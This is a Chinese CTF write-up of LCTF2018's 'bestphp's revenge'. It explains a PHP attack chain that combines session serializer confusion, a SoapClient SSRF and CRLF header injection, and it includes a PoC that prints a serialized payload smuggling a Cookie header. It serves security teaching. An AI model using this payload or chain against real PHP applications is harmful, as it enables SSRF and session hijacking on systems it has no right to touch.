session反序列化+SoapClientSSRF+CRLF

文章目录

    • session反序列化+SoapClientSSRF+CRLF
      • 前言
      • bestphp's revenge
        • call_user_func()方法的特性
        • SSRF+CRLF组合拳
        • session反序列化
      • 解题步骤
      • 总结

session反序列化+SoapClientSSRF+CRLF

前言

从一道题分析通过session反序列化出发SoapClientSSRF利用CRLF解题

bestphp’s revenge

首页是index.php

index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> 

好像没什么利用条件,我们通过目录扫描到

flag.php:

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){$_SESSION['flag'] = $flag;}
only localhost can get flag!

看这个代码很明显是SSRF漏洞,我们需要通过ssrf访问:http://127.0.0.1/flag.php将flag写入session文件中,最后访问index.php通过var_dump将flag打印出来

我们接着分析index.php:

call_user_func($args1,$args2)函数可以将执行名为:$args1的函数,并且参数为$args2

我们需要利用SoapClient对象去调用不存在的方法,就会触发__call()方法,从而进行SSRF,将flag写入session。但是怎么才能出发__call()方法?

call_user_func()方法的特性

当使用 call_user_func() 调用一个函数时,可以将函数名作为字符串或者一个包含两个元素的数组传递给它。如果传递一个数组,那么数组的第一个元素表示要调用的类或对象,第二个元素表示要调用的方法名

因此,如果我们给call_user_func()传入一个数组,并且第一个元素是SoapClient对象,第二个元素为不存在的方法名,就可以触发SSRF漏洞

这里刚好有一个现成的:

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

如果此时$b=call_user_func(),并且$_SESSION的第一个元素是SoapClient对象,那么相当于:

call_user_func(call_user_func,[new SoapClient(...),'welcome_to_the_lctf2018']);
即:
call_user_func([new SoapClient(...),'welcome_to_the_lctf2018'])

调用了SoapClient对象的welcome_to_the_lctf2018()方法,但是该方法不存在,于是就触发了SSRF

如何编写这个SoapClient对象呢?我们此处需要配合CRLF将flag写入指定的session中

SSRF+CRLF组合拳

poc如下:

<?php$soap = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php','user_agent'=>"like\r\nCookie: PHPSESSID=leekos\r\n"
,'uri'=>'aaa'));echo urlencode(serialize($soap));# O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A32%3A%22like%0D%0ACookie%3A+PHPSESSID%3Dleekos%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

我们在SoapClient的参数的数组中加入user_agent头,然后\r\n代表换行,将Cookie 给插入进来,替换为:leekos(这里有一个非常重要的点,需要使用双引号"包裹,否则\r\n不解析)

这样我们的SoapClient对象的序列化串就编写好了,我们稍后会用到它

我们上面提到$b=call_user_func(),怎么做到的?我们可以利用第一个call_user_func()函数,将$_GET['f']=extract$_POST=array('b'=>'call_user_func') 这个extract()函数将$b覆盖为call_user_func

这样当我们的reset($_SESSION)SoapClient对象时就可以触发ssrf

问题来了,怎么让reset($_SESSION)是该对象呢?

session反序列化

查询gpt, PHP 7.0.33,默认的 serialize_handler 将是 PHP 内置的 php

那么如果我们此时的serialize_handler=php_serialize就会将session数据使用serialize()函数进行序列化,如果我们将传入的数据前加入一个|,存入session文件后,文件内容大致格式如下:

xxx|O:10:SoapClient{yyy}

当此时我们serialize_handler=php时,漏洞来了,php处理器会把|前面的都当作键名,会把后面的O:10:SoapClient{yyy}反序列化,刚好还原为SoapClient对象,这时利用链就造好了

怎么让serialize_handler=php_serialize?

可以借助session_start()函数,通过call_user_func()来调用即可

解题步骤

先将序列化数据以php_serialize处理器存储起来

image-20230731015728438

默认php处理器反序列化导致生成SoapClient对象,同时调用不存在方法触发ssrf

image-20230731015828398

最后通过自定义的cookie访问即可:

image-20230731015942859

总结

这一个题目的综合性还是挺强的,感觉挺巧妙,用到了session反序列化,php内置类SSRF+CRLF的技巧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/18618.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于方向编码的模板匹配算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 MATLAB2022a 3.部分核心程序 ........................................................................... %选择移动个…

自适应巡航控制系统研究(Matlab代码实现)

目录 &#x1f4a5;1 概述 &#x1f4da;2 运行结果 &#x1f389;3 参考文献 &#x1f468;‍&#x1f4bb;4 Matlab代码 &#x1f4a5;1 概述 据统计, 我国交通事故造成的伤亡人数每年超过10万人, 其中驾驶员人为原因 (疲劳、酒驾、误操作等) 所致事故逐渐升高.汽车交通…

pycharm——制作k线图

K 线图 Candlestick Candlestick - Kline_itemstyle from pyecharts import options as opts from pyecharts.charts import Klinedata [[2320.26, 2320.26, 2287.3, 2362.94],[2300, 2291.3, 2288.26, 2308.38],[2295.35, 2346.5, 2295.35, 2345.92],[2347.22, 2358.98, 23…

安装skywalking并集成到微服务项目

文章目录 一、前言二、介绍1. 架构 三、安装skywalking服务端四、启动skywalking服务端五、微服务项目开发注册中心网关服务商品服务订单服务支付服务测试 六、下载java客户端七、微服务集成skywalking客户端1. idea启动2. 命令行启动3. 集成效果 八、skywalking客户端配置1. 配…

Python高阶技巧 正则表达式

正则表达式&#xff0c;又称规则表达式&#xff08;Regular Expression&#xff09;&#xff0c;是使用单个字符串来描述、匹配某个句法规则的字符串&#xff0c;常被用来检索、替换那些符合某个模式&#xff08;规则&#xff09;的文本。 简单来说&#xff0c;正则表达式就是使…

小程序学习(六):全局配置

1.全局配置文件及常用的配置项 全局配置-window 2.小程序窗口的组成部分 3.了解window节点常用的配置项 4.设置导航栏的标题 设置步骤:app.json->window->navigationBarTitleText 5.设置导航栏的背景色 背景颜色不支持red这种文字 6.设置导航栏的标题颜色 注意:navigat…

SpringBoot笔记:SpringBoot集成Dataway

文章目录 1、什么是 Dataway?2、主打场景3、技术架构4、整合SpringBoot4.1、maven 依赖4.2、初始化脚本4.3、整合 SpringBoot 5、Dataway 接口管理6、Mybatis 语法支持7、小结 1、什么是 Dataway? 官网地址&#xff1a;https://www.hasor.net/docs/guides/quickstart Da…

k8s kubeadm命令升级集群 从1.17升级到1.18

k8s kubeadm命令升级集群 从1.17升级到1.18 大纲 注意事项master节点执行升级命令master节点和node节点执行命令 注意事项 目标当前线上k8s集群版本是k8s1.17 想把k8s升级到1.18。注意k8s不能跨版本升级例如k8s1.17不能直接升级到k8s1.19&#xff0c;需要先升级到1.18才后向…

faac内存开销较大,为方便嵌入式设备使用进行优化(valgrind使用)

faac内存开销较大&#xff0c;为方便嵌入式设备使用进行优化&#xff0c;在github上提了issues但是没人理我&#xff0c;所以就搞一份代码自己玩吧。 基于faac_1_30版本&#xff0c;原工程https://github.com/knik0/faac faac内存优化: faac内存开销较大&#xff0c;为方便嵌入…

意外:WPS编程新工具,不用编程,excel用户:可以不用VBA啦

来来来&#xff0c;拓宽一下视野&#xff01; 别总以为excel和WPS只能用VBA编程&#xff0c;也别总是想着ACCESS这些老生常谈的工具。其实对于电子表格高级用户来讲&#xff0c;不会VBA&#xff0c;不用ACCESS&#xff0c;也一样可以解决复杂问题或者高级应用。 尤其是WPS用户…

【腾讯云 Cloud Studio 实战训练营】CloudStudio体验真正的现代化开发方式,双手插兜不知道什么叫对手!

CloudStudio体验真正的现代化开发方式&#xff0c;双手插兜不知道什么叫对手&#xff01; 文章目录 CloudStudio体验真正的现代化开发方式&#xff0c;双手插兜不知道什么叫对手&#xff01;前言出现的背景一、CloudStudio 是什么&#xff1f;二、CloudStudio 的特点三、CloudS…

PostgreSql 锁

一、概述 在 PostgreSQL 事务中提到&#xff0c;多个用户访问相同数据时可能出现脏读&#xff0c;不可重复度&#xff0c;幻读&#xff0c;更新丢失的问题&#xff0c;为解决这些问题&#xff0c;定义了不同的隔离级别&#xff0c;而隔离级别的具体实现&#xff0c;依靠的就是数…

钉钉群消息推送

1. 添加钉钉群机器人 PC端登录&#xff08;当前版本手机端无法进行推送关键词设置&#xff09;&#xff0c;群设置--> 机器人 --> webhook进行安全设置复制webhook对应的url 2. 群消息推送 钉钉群消息支持纯文本和markdown类型 2.1 调用示例源码 import com.alibaba.…

助你丝滑过度到 Vue3 组合式Api的优势新的组件 ②⑧

作者 : SYFStrive 博客首页 : HomePage &#x1f4dc;&#xff1a; VUE3~TS &#x1f4cc;&#xff1a;个人社区&#xff08;欢迎大佬们加入&#xff09; &#x1f449;&#xff1a;社区链接&#x1f517; &#x1f4cc;&#xff1a;觉得文章不错可以点点关注 &#x1f449;…

2023.08.01 驱动开发day8

驱动层 #include <linux/init.h> #include <linux/module.h> #include <linux/of.h> #include <linux/of_irq.h> #include <linux/interrupt.h> #include <linux/fs.h> #include <linux/gpio.h> #include <linux/of_gpio.h>#…

如何在免费版 pycharm 中使用 github copilot (chatGPT)?

起因 在 vscode 中使用了 github copilot 以后&#xff0c;感觉这个人工智能还不错。 但 vscode 对于 python 项目调试并不是特别方便&#xff0c;所以想在 Pycharm 中也能使用同一个 github 账号&#xff0c;用上 copilot 的功能。 不需要等待&#xff0c;安装即用&#xff…

【Web 表单】与用户数据打交道-1(mdn笔记)

0. Web 表单指南 我们将介绍 Web 表单的各个方面&#xff1a;HTML 结构、样式、验证表单数据&#xff0c;以及提交数据到服务器。 基本指南 你的第一个表单 第一次创建 HTML 表单的经验&#xff0c;包括设计一个简单表单、使用正确的 HTML 元素实现它、通过 CSS 添加一些非常简…

【Spring Cloud一】微服务基本知识

系列文章目录 微服务基本知识 系列文章目录前言一、系统架构的演变1.1单体架构1.2分层架构1.3分布式架构1.4微服务架构1.5分布式、SOA、微服务的异同点 二、CAP原则三、RESTfulRESTful的核心概念&#xff1a; 四、共识算法 前言 在实际项目开发过程中&#xff0c;目前负责开发…

Spring?Boot项目如何优雅实现Excel导入与导出功能

目录 背景EasyExcel 问题分析与解决Spring Boot Excel 导入与导出 依赖引入Excel 导入 基本导入功能进阶导入功能Excel 导出 Excel 导入参数校验 开启校验 校验规则定义 Bean Validation 定义校验规则ExcelValidator 接口定义校验规则校验结果接收 异常捕获接收校验结果contro…

小研究 - 主动式微服务细粒度弹性缩放算法研究(三)

微服务架构已成为云数据中心的基本服务架构。但目前关于微服务系统弹性缩放的研究大多是基于服务或实例级别的水平缩放&#xff0c;忽略了能够充分利用单台服务器资源的细粒度垂直缩放&#xff0c;从而导致资源浪费。为此&#xff0c;本文设计了主动式微服务细粒度弹性缩放算法…